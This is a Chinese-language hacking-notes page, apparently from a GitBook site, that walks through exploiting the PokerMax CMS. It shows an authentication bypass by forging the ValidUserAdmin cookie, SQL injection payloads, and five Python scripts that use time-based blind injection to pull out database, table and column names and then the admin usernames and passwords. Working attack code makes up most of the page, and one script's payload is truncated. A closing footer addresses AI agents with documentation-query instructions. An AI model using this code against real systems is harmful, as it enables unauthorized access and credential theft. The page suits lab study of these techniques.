> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/pokermax-cms-exploitation.md).

# PokerMax

**使用 Searchsploit 进行漏洞搜索**

在识别出 `pokermax` 网页后，使用 Searchsploit 查找潜在漏洞。

<figure><img src="/files/ae1211dd0caf989247709f35959ffbdfa5563c9d" alt=""><figcaption></figcaption></figure>

**管理员认证面板识别：**

发现了一个管理员认证面板。控制台中的一段 JavaScript 代码将 `ValidUserAdmin` 更改为 `administrator`，从而允许访问 `configure.php` 在 pokeradmin 中。

<figure><img src="/files/a2eca12896522e1da339b2ea46a7f11c8b20aa70" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/f2206706966c38626ae27e196bc3ea0bc15c9668" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/011ad58c55c55c696fe54fcb14f10756f2a7e0ff" alt=""><figcaption></figcaption></figure>

## SQL 注入漏洞

**SQL 注入漏洞检测：**

<figure><img src="/files/b54ca234623d47a787a0d5707c7b791177c5465f" alt=""><figcaption></figcaption></figure>

#### 在 Web 应用程序中识别一个 SQL 注入漏洞。使用 [BurpSuite](/zh/hacking-tools/web/burpsuite.md) 拦截流量。

<figure><img src="/files/e1d4b0f4594d4c678dc1341a1044b64c111526a1" alt=""><figcaption></figcaption></figure>

#### 使用 ORDER BY 发现列数

```sql
admin' order by 7-- -
```

#### 使用 UNION SELECT 尝试枚举表

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### 基于时间的 SQL 注入使用

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/4e6f55c1989c95bbb34cab19155156eaad596ff0" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取数据库名称

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/2815c06b84a34f85bfe1cec96d3ca4f965dee303" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取所有数据库名称

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/0d0d0ddbe6309f7237649b05bf95120855b6d301" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取表名

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/53f94b9ca138c3887bdc288b8ede6e27fbf85d1c" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取列名

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/43270a6e41000cbd4b917b995b14dc19fac8b46b" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取用户名和密码列内容

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/3b9740af37da424012936d41a8d0beb84b53a1fc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
